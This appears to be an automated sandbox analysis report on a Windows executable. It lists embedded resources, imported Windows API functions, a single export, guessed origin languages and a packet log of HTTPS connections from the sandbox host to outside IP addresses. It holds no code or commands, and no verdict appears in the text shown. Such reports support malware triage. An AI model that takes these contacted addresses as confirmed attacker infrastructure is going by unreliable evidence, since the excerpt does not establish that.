RT_STRING	0x2d6d98	0x3d4	data	Russian	Russia	0.3469387755102041
RT_STRING	0x2d716c	0x3fa	data	Turkish	Turkey	0.3605108055009823
RT_STRING	0x2d7568	0x3dc	data	Ukrainian	Ukrain	0.3431174089068826
RT_STRING	0x2d7944	0x3ea	data	Kazakh	Kazakhstan	0.3852295409181637
RT_STRING	0x2d7d30	0x43c	data	Uzbek	Italy	0.34501845018450183
RT_STRING	0x2d816c	0x1e2	data	Chinese	China	0.6182572614107884
RT_STRING	0x2d8350	0x41e	data	Portuguese	Portugal	0.33586337760910817
RT_STRING	0x2d8770	0x44c	data			0.30272727272727273
RT_STRING	0x2d8bbc	0x2e2	data	Chinese	Taiwan	0.6300813008130082
RT_STRING	0x2d8ea0	0x6b6	data	Czech	Czech Republic	0.3370197904540163
RT_STRING	0x2d9558	0x7ac	data	German	Germany	0.319755600814664
RT_STRING	0x2d9d04	0x6ac	data	English	United States	0.3120608899297424
RT_STRING	0x2da3b0	0x83c	data	French	France	0.2903225806451613
RT_STRING	0x2dabec	0x738	data	Italian	Italy	0.3051948051948052
RT_STRING	0x2db324	0x400	data	Japanese	Japan	0.5126953125
RT_STRING	0x2db724	0x786	data	Portuguese	Brazil	0.3047767393561786
RT_STRING	0x2dbeac	0x6d2	data	Russian	Russia	0.3293241695303551
RT_STRING	0x2dc580	0x73e	data	Turkish	Turkey	0.3284789644012945
RT_STRING	0x2dccc0	0x6be	data	Ukrainian	Ukrain	0.33371958285052145
RT_STRING	0x2dd380	0x75a	data	Kazakh	Kazakhstan	0.3443145589798087
RT_STRING	0x2ddadc	0x74e	data	Uzbek	Italy	0.31016042780748665
RT_STRING	0x2de22c	0x2e2	data	Chinese	China	0.6246612466124661
RT_STRING	0x2de510	0x770	data	Portuguese	Portugal	0.3182773109243697
RT_STRING	0x2dec80	0x7c2	data			0.3016112789526687
RT_STRING	0x2df444	0x11e	data	Chinese	Taiwan	0.6398601398601399
RT_STRING	0x2df564	0x2e6	data	Czech	Czech Republic	0.38005390835579517
RT_STRING	0x2df84c	0x38e	data	German	Germany	0.31758241758241756
RT_STRING	0x2dfbdc	0x2bc	data	English	United States	0.3485714285714286
RT_STRING	0x2dfe98	0x350	data	French	France	0.3290094339622642
RT_STRING	0x2e01e8	0x2f2	data	Italian	Italy	0.35013262599469497
RT_STRING	0x2e04dc	0x1e2	data	Japanese	Japan	0.5124481327800829
RT_STRING	0x2e06c0	0x312	data	Portuguese	Brazil	0.3460559796437659
RT_STRING	0x2e09d4	0x2ae	data	Russian	Russia	0.3979591836734694
RT_STRING	0x2e0c84	0x2d0	data	Turkish	Turkey	0.3527777777777778
RT_STRING	0x2e0f54	0x2c2	data	Ukrainian	Ukrain	0.4192634560906516
RT_STRING	0x2e1218	0x2a2	data	Kazakh	Kazakhstan	0.42433234421364985
RT_STRING	0x2e14bc	0x2f0	data	Uzbek	Italy	0.375
RT_STRING	0x2e17ac	0x11e	data	Chinese	China	0.6398601398601399
RT_STRING	0x2e18cc	0x2f2	data	Portuguese	Portugal	0.35145888594164454
RT_STRING	0x2e1bc0	0x30e	data			0.34271099744245526
RT_FONTDIR	0x2e1ed0	0x1ca	data			0.7183406113537117
RT_FONT	0x2e209c	0x35ad4	TrueType Font data, digitally signed, 17 tables, 1st "DSIG", 32 names, Macintosh, Copyright (c) 2022 Commercial Type, Inc. All rights reserved.YS GeoRegularCommercialType,Inc.: Y			0.3771718366233057
RT_FONT	0x317b70	0x39410	TrueType Font data, digitally signed, 17 tables, 1st "DSIG", 32 names, Macintosh, Copyright (c) 2022 Commercial Type, Inc. All rights reserved.YS GeoMediumCommercialType,Inc.: YS			0.39718649791908306
RT_FONT	0x350f80	0x2617c	TrueType Font data, digitally signed, 15 tables, 1st "DSIG", 14 names, Microsoft, language 0x409, Copyright (c) 2022 Commercial Type, Inc. All rights reserved.YS TextRegular1.001;COMM;YSText-Reg			0.4265388263644987
RT_RCDATA	0x3770fc	0x2d6	PNG image data, 410 x 186, 8-bit colormap, non-interlaced			0.7121212121212122
RT_RCDATA	0x3773d4	0xfd	PNG image data, 360 x 28, 8-bit/color RGBA, non-interlaced			0.924901185770751
RT_RCDATA	0x3774d4	0xec	PNG image data, 360 x 28, 8-bit gray+alpha, non-interlaced			0.9788135593220338
RT_RCDATA	0x3775c0	0x28d	PNG image data, 96 x 16, 8-bit/color RGBA, non-interlaced			1.0168453292496171
RT_RCDATA	0x377850	0x4d8	PNG image data, 192 x 32, 8-bit/color RGBA, non-interlaced			1.0088709677419354
RT_RCDATA	0x377d28	0x141f4	JPEG image data, JFIF standard 1.02, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 802x430, components 3			0.8583474884736715
RT_RCDATA	0x38bf1c	0x3bb9e	JPEG image data, JFIF standard 1.02, resolution (DPI), density 144x144, segment length 16, baseline, precision 8, 1604x860, components 3			0.8223211438942437
RT_RCDATA	0x3c7abc	0x1e2f8	JPEG image data, JFIF standard 1.02, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 802x430, components 3			0.9196861857004206
RT_RCDATA	0x3e5db4	0x4e14e	JPEG image data, JFIF standard 1.02, resolution (DPI), density 144x144, segment length 16, baseline, precision 8, 1604x860, components 3			0.8874936683530213
RT_RCDATA	0x433f04	0x1ce24	JPEG image data, JFIF standard 1.02, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 802x430, components 3			0.917309057713764
RT_RCDATA	0x450d28	0x4a746	JPEG image data, JFIF standard 1.02, resolution (DPI), density 144x144, segment length 16, baseline, precision 8, 1604x860, components 3			0.8811113370015018
RT_RCDATA	0x49b470	0x350	PNG image data, 60 x 20, 8-bit/color RGBA, non-interlaced			1.0129716981132075
RT_RCDATA	0x49b7c0	0x5e5	PNG image data, 120 x 40, 8-bit/color RGBA, non-interlaced			1.0072895957587806
RT_RCDATA	0x49bda8	0x99	PNG image data, 20 x 20, 8-bit/color RGBA, non-interlaced			0.9869281045751634
RT_RCDATA	0x49be44	0x119	PNG image data, 40 x 40, 8-bit/color RGBA, non-interlaced			1.0213523131672597
RT_RCDATA	0x49bf60	0x20c	PNG image data, 60 x 20, 8-bit/color RGBA, non-interlaced			1.0209923664122138
RT_RCDATA	0x49c16c	0x399	PNG image data, 120 x 40, 8-bit/color RGBA, non-interlaced			1.011943539630836
RT_RCDATA	0x49c508	0x71	PNG image data, 20 x 20, 8-bit/color RGBA, non-interlaced			0.9823008849557522
RT_RCDATA	0x49c57c	0x81	PNG image data, 40 x 40, 8-bit/color RGBA, non-interlaced			1.0
RT_RCDATA	0x49c600	0xc4	PNG image data, 393 x 4, 8-bit/color RGBA, non-interlaced			1.0051020408163265
RT_RCDATA	0x49c6c4	0x11d	PNG image data, 786 x 8, 8-bit/color RGBA, non-interlaced			1.0035087719298246
RT_RCDATA	0x49c7e4	0xcb	PNG image data, 393 x 4, 8-bit/color RGBA, non-interlaced			1.0147783251231528
RT_RCDATA	0x49c8b0	0x129	PNG image data, 786 x 8, 8-bit/color RGBA, non-interlaced			0.9966329966329966
RT_RCDATA	0x49c9dc	0x176d3	PNG image data, 802 x 430, 8-bit/color RGBA, non-interlaced			0.9820436663019123
RT_RCDATA	0x4b40b0	0x53b14	PNG image data, 1604 x 860, 8-bit/color RGBA, non-interlaced			0.9734192133113966
RT_RCDATA	0x507bc4	0x19747	PNG image data, 802 x 430, 8-bit/color RGBA, non-interlaced			0.9873301171076988
RT_RCDATA	0x52130c	0x4fe3d	PNG image data, 1604 x 860, 8-bit/color RGBA, non-interlaced			0.9762826644337758
RT_RCDATA	0x57114c	0x19365	PNG image data, 802 x 430, 8-bit/color RGBA, non-interlaced			0.9881571429954779
RT_RCDATA	0x58a4b4	0x4f7f2	PNG image data, 1604 x 860, 8-bit/color RGBA, non-interlaced			0.9764263646358616
RT_RCDATA	0x5d9ca8	0x2b4	PNG image data, 460 x 234, 8-bit/color RGB, non-interlaced			0.18641618497109827
RT_RCDATA	0x5d9f5c	0x23b	PNG image data, 300 x 35, 8-bit/color RGBA, non-interlaced			0.9929947460595446
RT_RCDATA	0x5da198	0x4f3	PNG image data, 600 x 70, 8-bit/color RGBA, non-interlaced			0.9344909234411997
RT_RCDATA	0x5da68c	0x23e	PNG image data, 300 x 35, 8-bit/color RGBA, non-interlaced			1.0
RT_RCDATA	0x5da8cc	0x4fc	PNG image data, 600 x 70, 8-bit/color RGBA, non-interlaced			0.9365203761755486
RT_RCDATA	0x5dadc8	0x154	PNG image data, 60 x 20, 8-bit/color RGBA, non-interlaced			1.026470588235294
RT_RCDATA	0x5daf1c	0x2c7	PNG image data, 120 x 40, 8-bit/color RGBA, non-interlaced			0.9817158931082982
RT_RCDATA	0x5db1e4	0x3eb	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced			1.0109670987038883
RT_RCDATA	0x5db5d0	0x491	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced			1.009409751924722
RT_RCDATA	0x5dba64	0x440	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced			1.010110294117647
RT_RCDATA	0x5dbea4	0x463	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced			1.0097951914514693
RT_RCDATA	0x5dc308	0xe8	PNG image data, 18 x 400, 8-bit/color RGBA, non-interlaced			0.6422413793103449
RT_RCDATA	0x5dc3f0	0xd8	PNG image data, 852 x 18, 8-bit/color RGBA, non-interlaced			0.9212962962962963
RT_RCDATA	0x5dc4c8	0xec	PNG image data, 18 x 400, 8-bit/color RGBA, non-interlaced			0.635593220338983
RT_RCDATA	0x5dc5b4	0xdf	PNG image data, 852 x 18, 8-bit/color RGBA, non-interlaced			0.905829596412556
RT_RCDATA	0x5dc694	0xad	PNG image data, 18 x 18, 8-bit/color RGBA, non-interlaced			1.0057803468208093
RT_RCDATA	0x5dc744	0xbe	PNG image data, 18 x 18, 8-bit/color RGBA, non-interlaced			1.0157894736842106
RT_RCDATA	0x5dc804	0xca	PNG image data, 18 x 18, 8-bit/color RGBA, non-interlaced			1.0247524752475248
RT_RCDATA	0x5dc8d0	0xbb	PNG image data, 18 x 18, 8-bit/color RGBA, non-interlaced			1.0213903743315509
RT_RCDATA	0x5dc98c	0x15f	PNG image data, 18 x 464, 8-bit/color RGBA, non-interlaced			0.7578347578347578
RT_RCDATA	0x5dcaec	0x13e	PNG image data, 916 x 18, 8-bit/color RGBA, non-interlaced			0.9716981132075472
RT_RCDATA	0x5dcc2c	0x156	PNG image data, 18 x 464, 8-bit/color RGBA, non-interlaced			0.7426900584795322
RT_RCDATA	0x5dcd84	0x134	PNG image data, 916 x 18, 8-bit/color RGBA, non-interlaced			0.974025974025974
RT_RCDATA	0x5dceb8	0x495	PNG image data, 420 x 48, 8-bit/color RGBA, non-interlaced			0.9411764705882353
RT_RCDATA	0x5dd350	0x619	PNG image data, 160 x 22, 8-bit/color RGBA, non-interlaced			1.0070467648942985
RT_RCDATA	0x5dd96c	0xd0e	PNG image data, 320 x 40, 8-bit/color RGBA, non-interlaced			1.0032914422501495
RT_RCDATA	0x5de67c	0x61d	PNG image data, 160 x 22, 8-bit/color RGBA, non-interlaced			1.0070287539936102
RT_RCDATA	0x5dec9c	0xd41	PNG image data, 320 x 40, 8-bit/color RGBA, non-interlaced			1.0032419687592102
RT_RCDATA	0x5df9e0	0x292	PNG image data, 17 x 17, 8-bit/color RGBA, non-interlaced			1.0167173252279635
RT_RCDATA	0x5dfc74	0x2a1	PNG image data, 17 x 17, 8-bit/color RGBA, non-interlaced			1.0163447251114412
RT_RCDATA	0x5dff18	0x2e6	PNG image data, 17 x 17, 8-bit/color RGBA, non-interlaced			1.0148247978436657
RT_RCDATA	0x5e0200	0x2bb	PNG image data, 17 x 17, 8-bit/color RGBA, non-interlaced			1.0157367668097281
RT_RCDATA	0x5e04bc	0xf40	PNG image data, 9 x 412, 8-bit/color RGBA, non-interlaced			0.9943647540983607
RT_RCDATA	0x5e13fc	0xa89	PNG image data, 784 x 9, 8-bit/color RGBA, non-interlaced			0.9773822766036336
RT_RCDATA	0x5e1e88	0xddb	PNG image data, 9 x 412, 8-bit/color RGBA, non-interlaced			0.9952072173667889
RT_RCDATA	0x5e2c64	0xa74	PNG image data, 784 x 9, 8-bit/color RGBA, non-interlaced			0.9775784753363229
RT_RCDATA	0x5e36d8	0x744	PNG image data, 34 x 34, 8-bit/color RGBA, non-interlaced			1.0059139784946236
RT_RCDATA	0x5e3e1c	0x77b	PNG image data, 34 x 34, 8-bit/color RGBA, non-interlaced			1.0057441253263708
RT_RCDATA	0x5e4598	0x810	PNG image data, 34 x 34, 8-bit/color RGBA, non-interlaced			1.005329457364341
RT_RCDATA	0x5e4da8	0x823	PNG image data, 34 x 34, 8-bit/color RGBA, non-interlaced			1.0052808449351895
RT_RCDATA	0x5e55cc	0x2082	PNG image data, 18 x 824, 8-bit/color RGBA, non-interlaced			0.9595049267003124
RT_RCDATA	0x5e7650	0x1a36	PNG image data, 1568 x 18, 8-bit/color RGBA, non-interlaced			0.9077496274217586
RT_RCDATA	0x5e9088	0x1fe6	PNG image data, 18 x 824, 8-bit/color RGBA, non-interlaced			0.9605682096497673
RT_RCDATA	0x5eb070	0x19b2	PNG image data, 1568 x 18, 8-bit/color RGBA, non-interlaced			0.9165399817573731
RT_RCDATA	0x5eca24	0x239	PNG image data, 17 x 17, 8-bit/color RGBA, non-interlaced			1.0193321616871704
RT_RCDATA	0x5ecc60	0x208	PNG image data, 17 x 17, 8-bit/color RGBA, non-interlaced			1.021153846153846
RT_RCDATA	0x5ece68	0x22c	PNG image data, 17 x 17, 8-bit/color RGBA, non-interlaced			1.0197841726618706
RT_RCDATA	0x5ed094	0x249	PNG image data, 17 x 17, 8-bit/color RGBA, non-interlaced			1.0188034188034187
RT_RCDATA	0x5ed2e0	0x5e7	PNG image data, 34 x 34, 8-bit/color RGBA, non-interlaced			1.0072799470549305
RT_RCDATA	0x5ed8c8	0x565	PNG image data, 34 x 34, 8-bit/color RGBA, non-interlaced			1.007965242577842
RT_RCDATA	0x5ede30	0x62c	PNG image data, 34 x 34, 8-bit/color RGBA, non-interlaced			1.0069620253164557
RT_RCDATA	0x5ee45c	0x6f5	PNG image data, 34 x 34, 8-bit/color RGBA, non-interlaced			1.0061763054463784
RT_RCDATA	0x5eeb54	0x3ac0c	JPEG image data, JFIF standard 1.02, resolution (DPI), density 144x144, segment length 16, baseline, precision 8, 1604x860, components 3			0.8211109818326878
RT_RCDATA	0x629760	0x64c73	PNG image data, 1604 x 860, 8-bit/color RGBA, non-interlaced			0.9758955587264134
RT_RCDATA	0x68e3d4	0x5b6ec	JPEG image data, JFIF standard 1.02, resolution (DPI), density 144x144, segment length 16, baseline, precision 8, 1604x860, components 3			0.8941865060292437
RT_RCDATA	0x6e9ac0	0x5937f	JPEG image data, JFIF standard 1.02, resolution (DPI), density 144x144, segment length 16, baseline, precision 8, 1604x860, components 3			0.8907314216599761
RT_RCDATA	0x742e40	0x76537	PNG image data, 1604 x 860, 8-bit/color RGBA, non-interlaced			0.9826167873347047
RT_RCDATA	0x7b9378	0x75b99	PNG image data, 1604 x 860, 8-bit/color RGBA, non-interlaced			0.982486556436009
RT_RCDATA	0x82ef14	0x89e	PNG image data, 840 x 96, 8-bit/color RGBA, non-interlaced			0.8952855847688124
RT_RCDATA	0x82f7b4	0x5bd	PNG image data, 120 x 40, 8-bit/color RGBA, non-interlaced			1.0074880871341048
RT_RCDATA	0x82fd74	0x15e	PNG image data, 40 x 40, 8-bit/color RGBA, non-interlaced			1.0171428571428571
RT_RCDATA	0x82fed4	0x310	PNG image data, 120 x 40, 8-bit/color RGBA, non-interlaced			1.0140306122448979
RT_RCDATA	0x8301e4	0xaa	PNG image data, 40 x 40, 8-bit/color RGBA, non-interlaced			0.9764705882352941
RT_RCDATA	0x830290	0x523	PNG image data, 192 x 32, 8-bit/color RGBA, non-interlaced			1.0083650190114068
RT_RCDATA	0x8307b4	0x104	PNG image data, 786 x 8, 8-bit/color RGBA, non-interlaced			0.9923076923076923
RT_RCDATA	0x8308b8	0xfc	PNG image data, 786 x 8, 8-bit/color RGBA, non-interlaced			0.996031746031746
RT_RCDATA	0x8309b4	0xe27	PNG image data, 320 x 40, 8-bit/color RGBA, non-interlaced			1.0030361578802098
RT_RCDATA	0x8317dc	0xe56	PNG image data, 320 x 40, 8-bit/color RGBA, non-interlaced			1.0029972752043597
RT_RCDATA	0x832634	0x789	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced			1.0057024364955935
RT_RCDATA	0x832dc0	0x7b3	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced			1.0055809233891426
RT_RCDATA	0x833574	0x7c4	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced			1.005533199195171
RT_RCDATA	0x833d38	0x7ce	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced			1.0055055055055055
RT_RCDATA	0x834508	0x2241	PNG image data, 16 x 828, 8-bit/color RGBA, non-interlaced			0.9470863268331623
RT_RCDATA	0x83674c	0x16ec	PNG image data, 1572 x 16, 8-bit/color RGBA, non-interlaced			0.9164962508520791
RT_RCDATA	0x837e38	0x23ef	PNG image data, 16 x 828, 8-bit/color RGBA, non-interlaced			0.9458636808348734
RT_RCDATA	0x83a228	0x1ccf	PNG image data, 1572 x 16, 8-bit/color RGBA, non-interlaced			0.9114576271186441
RT_RCDATA	0x83bef8	0x6e5	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced			1.0062322946175637
RT_RCDATA	0x83c5e0	0x74d	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced			1.0058855002675227
RT_RCDATA	0x83cd30	0x72f	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced			1.0059815116911366
RT_RCDATA	0x83d460	0x763	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced			1.0058170280274987
RT_RCDATA	0x83dbc4	0x142cf	JPEG image data, JFIF standard 1.02, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 802x430, components 3			0.8580573337044253
RT_RCDATA	0x851e94	0x3bfbf	JPEG image data, JFIF standard 1.02, resolution (DPI), density 144x144, segment length 16, baseline, precision 8, 1604x860, components 3			0.8232808970471519
RT_RCDATA	0x88de54	0x17789	PNG image data, 802 x 430, 8-bit/color RGBA, non-interlaced			0.9800597064605719
RT_RCDATA	0x8a55e0	0x540c1	PNG image data, 1604 x 860, 8-bit/color RGBA, non-interlaced			0.9740136003044237
RT_RCDATA	0x8f96a4	0x394f0	JPEG image data, JFIF standard 1.02, resolution (DPI), density 144x144, segment length 16, baseline, precision 8, 1604x860, components 3			0.8163596551019017
RT_RCDATA	0x932b94	0x62f65	PNG image data, 1604 x 860, 8-bit/color RGBA, non-interlaced			0.9758356379317575
RT_GROUP_ICON	0x995afc	0x5a	data			0.7444444444444445
RT_VERSION	0x995b58	0x488	data	English	United States	0.43448275862068964
RT_MANIFEST	0x995fe0	0x4ae	XML 1.0 document, ASCII text, with very long lines (1084)	English	United States	0.5058430717863105

Imports

DLL

Import

KERNEL32.dll

AcquireSRWLockExclusive, AssignProcessToJobObject, CloseHandle, CompareStringW, CopyFileW, CreateDirectoryW, CreateEventA, CreateEventW, CreateFileMappingW, CreateFileW, CreateMutexW, CreateProcessW, CreateThread, CreateToolhelp32Snapshot, DecodePointer, DeleteCriticalSection, DeleteFileW, DeleteProcThreadAttributeList, EncodePointer, EnterCriticalSection, EnumSystemLocalesW, ExitProcess, ExitThread, ExpandEnvironmentStringsW, FileTimeToSystemTime, FindClose, FindFirstFileExW, FindNextFileW, FindResourceExW, FindResourceW, FlushFileBuffers, FormatMessageA, FormatMessageW, FreeEnvironmentStringsW, FreeLibrary, FreeLibraryAndExitThread, GetACP, GetCPInfo, GetCommandLineA, GetCommandLineW, GetConsoleMode, GetConsoleOutputCP, GetCurrentDirectoryW, GetCurrentProcess, GetCurrentProcessId, GetCurrentThread, GetCurrentThreadId, GetDateFormatW, GetDiskFreeSpaceExW, GetDriveTypeW, GetEnvironmentStringsW, GetEnvironmentVariableW, GetExitCodeProcess, GetFileAttributesExW, GetFileAttributesW, GetFileInformationByHandle, GetFileSize, GetFileSizeEx, GetFileType, GetFullPathNameW, GetGeoInfoW, GetLastError, GetLocalTime, GetLocaleInfoW, GetLogicalDriveStringsW, GetLongPathNameW, GetModuleFileNameW, GetModuleHandleA, GetModuleHandleExW, GetModuleHandleW, GetNativeSystemInfo, GetOEMCP, GetProcAddress, GetProcessHeap, GetProcessId, GetProductInfo, GetStartupInfoW, GetStdHandle, GetStringTypeW, GetSystemDirectoryW, GetSystemInfo, GetSystemTimeAsFileTime, GetTempFileNameW, GetTempPathW, GetThreadPriority, GetTickCount, GetTimeFormatW, GetTimeZoneInformation, GetUserDefaultLCID, GetUserDefaultLangID, GetUserDefaultUILanguage, GetUserGeoID, GetVersionExW, GetWindowsDirectoryW, GlobalAlloc, GlobalFree, GlobalLock, GlobalUnlock, HeapAlloc, HeapFree, InitOnceExecuteOnce, InitializeCriticalSectionAndSpinCount, InitializeCriticalSectionEx, InitializeProcThreadAttributeList, InitializeSListHead, IsDebuggerPresent, IsProcessorFeaturePresent, IsValidCodePage, IsValidLocale, IsWow64Process, K32GetMappedFileNameW, K32GetProcessMemoryInfo, LCMapStringW, LeaveCriticalSection, LoadLibraryExA, LoadLibraryExW, LoadLibraryW, LoadResource, LocalFree, LockFile, LockResource, MapViewOfFile, MoveFileExW, MoveFileW, MultiByteToWideChar, OpenEventA, OpenEventW, OpenProcess, OutputDebugStringA, OutputDebugStringW, Process32FirstW, Process32NextW, QueryDosDeviceW, QueryPerformanceCounter, QueryPerformanceFrequency, QueryThreadCycleTime, QueryUnbiasedInterruptTime, RaiseException, ReOpenFile, ReadConsoleW, ReadFile, ReleaseMutex, ReleaseSRWLockExclusive, RemoveDirectoryW, ReplaceFileW, ResetEvent, RtlCaptureStackBackTrace, RtlUnwind, SetDllDirectoryW, SetEndOfFile, SetEnvironmentVariableW, SetEvent, SetFileAttributesW, SetFilePointer, SetFilePointerEx, SetHandleInformation, SetLastError, SetStdHandle, SetThreadPriority, SetUnhandledExceptionFilter, SizeofResource, Sleep, SleepConditionVariableSRW, SystemTimeToTzSpecificLocalTime, TerminateProcess, TerminateThread, TlsAlloc, TlsFree, TlsGetValue, TlsSetValue, TryAcquireSRWLockExclusive, UnhandledExceptionFilter, UnlockFile, UnmapViewOfFile, UpdateProcThreadAttribute, VirtualAlloc, VirtualFree, VirtualProtect, VirtualQuery, VirtualQueryEx, WaitForMultipleObjects, WaitForSingleObject, WaitForSingleObjectEx, WakeAllConditionVariable, WideCharToMultiByte, WriteConsoleW, WriteFile, lstrcmpA, lstrcpynW, lstrlenW

OLEACC.dll

AccessibleObjectFromWindow, LresultFromObject

Exports

Name	Ordinal	Address
GetHandleVerifier	1	0x4a8670

Possible Origin

Language of compilation system	Country where language is spoken	Map
Chinese	Taiwan
Czech	Czech Republic
German	Germany
English	United States
French	France
Italian	Italy
Japanese	Japan
Portuguese	Brazil
Russian	Russia
Turkish	Turkey
Ukrainian	Ukrain
Kazakh	Kazakhstan
Chinese	China
Portuguese	Portugal

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 1, 2024 17:42:01.302602053 CEST	49708	443	192.168.2.10	104.102.42.29
Jun 1, 2024 17:42:01.302642107 CEST	443	49708	104.102.42.29	192.168.2.10
Jun 1, 2024 17:42:01.302727938 CEST	49708	443	192.168.2.10	104.102.42.29
Jun 1, 2024 17:42:01.413278103 CEST	49708	443	192.168.2.10	104.102.42.29
Jun 1, 2024 17:42:01.413326025 CEST	443	49708	104.102.42.29	192.168.2.10
Jun 1, 2024 17:42:02.252827883 CEST	443	49708	104.102.42.29	192.168.2.10
Jun 1, 2024 17:42:02.253309965 CEST	49708	443	192.168.2.10	104.102.42.29
Jun 1, 2024 17:42:02.305669069 CEST	49708	443	192.168.2.10	104.102.42.29
Jun 1, 2024 17:42:02.305694103 CEST	443	49708	104.102.42.29	192.168.2.10
Jun 1, 2024 17:42:02.306052923 CEST	443	49708	104.102.42.29	192.168.2.10
Jun 1, 2024 17:42:02.306113005 CEST	49708	443	192.168.2.10	104.102.42.29
Jun 1, 2024 17:42:02.307862997 CEST	49708	443	192.168.2.10	104.102.42.29
Jun 1, 2024 17:42:02.348499060 CEST	443	49708	104.102.42.29	192.168.2.10
Jun 1, 2024 17:42:02.886069059 CEST	443	49708	104.102.42.29	192.168.2.10
Jun 1, 2024 17:42:02.886101007 CEST	443	49708	104.102.42.29	192.168.2.10
Jun 1, 2024 17:42:02.886121035 CEST	443	49708	104.102.42.29	192.168.2.10
Jun 1, 2024 17:42:02.886145115 CEST	49708	443	192.168.2.10	104.102.42.29
Jun 1, 2024 17:42:02.886171103 CEST	443	49708	104.102.42.29	192.168.2.10
Jun 1, 2024 17:42:02.886195898 CEST	49708	443	192.168.2.10	104.102.42.29
Jun 1, 2024 17:42:02.886228085 CEST	49708	443	192.168.2.10	104.102.42.29
Jun 1, 2024 17:42:02.907689095 CEST	443	49708	104.102.42.29	192.168.2.10
Jun 1, 2024 17:42:02.907712936 CEST	443	49708	104.102.42.29	192.168.2.10
Jun 1, 2024 17:42:02.907764912 CEST	49708	443	192.168.2.10	104.102.42.29
Jun 1, 2024 17:42:02.907785892 CEST	443	49708	104.102.42.29	192.168.2.10
Jun 1, 2024 17:42:02.907803059 CEST	49708	443	192.168.2.10	104.102.42.29
Jun 1, 2024 17:42:02.907819033 CEST	49708	443	192.168.2.10	104.102.42.29
Jun 1, 2024 17:42:02.921264887 CEST	443	49708	104.102.42.29	192.168.2.10
Jun 1, 2024 17:42:02.921324015 CEST	49708	443	192.168.2.10	104.102.42.29
Jun 1, 2024 17:42:02.921341896 CEST	443	49708	104.102.42.29	192.168.2.10
Jun 1, 2024 17:42:02.921386003 CEST	49708	443	192.168.2.10	104.102.42.29
Jun 1, 2024 17:42:02.921399117 CEST	443	49708	104.102.42.29	192.168.2.10
Jun 1, 2024 17:42:02.921468973 CEST	49708	443	192.168.2.10	104.102.42.29
Jun 1, 2024 17:42:02.921808958 CEST	49708	443	192.168.2.10	104.102.42.29
Jun 1, 2024 17:42:02.921827078 CEST	443	49708	104.102.42.29	192.168.2.10
Jun 1, 2024 17:42:02.984509945 CEST	49709	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:02.984556913 CEST	443	49709	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:02.984705925 CEST	49709	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:02.984961987 CEST	49709	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:02.984988928 CEST	443	49709	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:03.597614050 CEST	443	49709	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:03.598160028 CEST	49709	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:03.601814985 CEST	49709	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:03.601828098 CEST	443	49709	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:03.602229118 CEST	443	49709	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:03.602447987 CEST	49709	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:03.602801085 CEST	49709	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:03.644504070 CEST	443	49709	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:04.093252897 CEST	443	49709	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:04.093302011 CEST	443	49709	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:04.093353987 CEST	443	49709	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:04.093409061 CEST	49709	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:04.093410015 CEST	49709	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:04.093430996 CEST	443	49709	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:04.093451023 CEST	49709	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:04.093466997 CEST	443	49709	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:04.093502045 CEST	443	49709	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:04.093565941 CEST	49709	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:04.093565941 CEST	49709	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:04.093565941 CEST	49709	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:04.093574047 CEST	443	49709	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:04.093636990 CEST	49709	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:04.116902113 CEST	443	49709	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:04.118266106 CEST	49709	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:04.126771927 CEST	443	49709	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:04.126948118 CEST	443	49709	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:04.126976013 CEST	443	49709	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:04.127300024 CEST	49709	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:04.127300024 CEST	49709	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:04.127321005 CEST	443	49709	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:04.127366066 CEST	443	49709	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:04.127590895 CEST	49709	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:04.127598047 CEST	443	49709	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:04.127610922 CEST	443	49709	188.114.97.3	192.168.2.10
